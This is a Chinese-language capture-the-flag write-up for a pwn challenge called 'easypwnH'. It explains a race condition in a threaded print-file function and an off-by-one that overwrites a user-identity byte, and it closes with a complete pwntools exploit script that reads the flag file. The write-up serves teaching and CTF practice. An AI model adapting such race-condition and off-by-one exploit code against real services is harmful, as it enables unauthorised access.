easypwnH

0x00 查保护

checksec后发现保护差不多都开了

0x02 收集程序特征

运行程序发现需要用户选择登录方式

选择第一种发现直接可以进入login with anonymous

第二种登录方式需要用户名和密码

第三种登录方式直接不让登录

0x03 静态分析

在函数3c50中可以看到与界面相关的信息

回到主函数继续分析发现在print file功能中使用了多线程

查看线程函数发现有个sleep操作,这里就存在条件竞争漏洞了

最后大致的攻击思路先获取admin的权限。再利用offbyone修改用户身份标识就可以pwn了。exp如下所示

1 import re
2 import sys
3 import requests
4 from pwn import*
5  
6 HOST = sys.argv[1]
7 PORT = sys.argv[2]
8 FLAG = sys.argv[3]
9  
10 def login(p):
11     p.recv()
12     p.sendline("2")
13     p.recv()
14     p.sendline("guest")
15     p.recv()
16     p.sendline("1233211234567233")
17  
18 def create(p,name,length,content):
19     p.recvuntil("7. exit\n")
20     p.sendline("1")
21     p.recvuntil("input file name:")
22     p.sendline(name)
23     p.recv()
24     p.sendline(str(length))
25     p.recv()
26     p.sendline(content.ljust(length,"\0"))
27  
28 def delete(p,name):
29     p.recvuntil("7. exit\n")
30     p.sendline("2")
31     p.recvuntil("name:")
32     p.sendline(name)
33  
34 def prints(p,name):
35     p.recvuntil("6. secret\n")
36     p.sendline("3")
37     p.sendlineafter("input file name:",name)

38  
39 def change(p,name,password):
40     p.recvuntil("7. exit\n")
41     p.sendline("5")
42     p.recvuntil("user name:")
43     p.sendline(name)
44     p.recvuntil("user password:")
45     p.send(password)
46  
47 def secret(p,oldpath,newpath):
48     p.recvuntil("6. secret\n")
49     p.sendline("666")
50     p.recvuntil("input old path:")
51     p.sendline(oldpath)
52     p.recvuntil("input new path:")
53     p.sendline(newpath)
54  
55 def exp(ip, port):
56     p = remote(ip,port)
57     login(p)
58     create(p,"a",10,"aaaaaaaa")
59     delete(p,"a")
60     change(p,"zs0zrc",'a'*0x20 + "\x03")
61     prints(p,"a")
62     sleep(1)
63     secret(p,"/home/ctf/flag","/tmp/a")
64     p.recvuntil("content:")
65     flag = p.recv().strip()
66     print flag
67     return flag
68  
69 if name == ' main ':
70    flag = exp(HOST, PORT)
71    assert flag == FLAG
72    print("Pass!")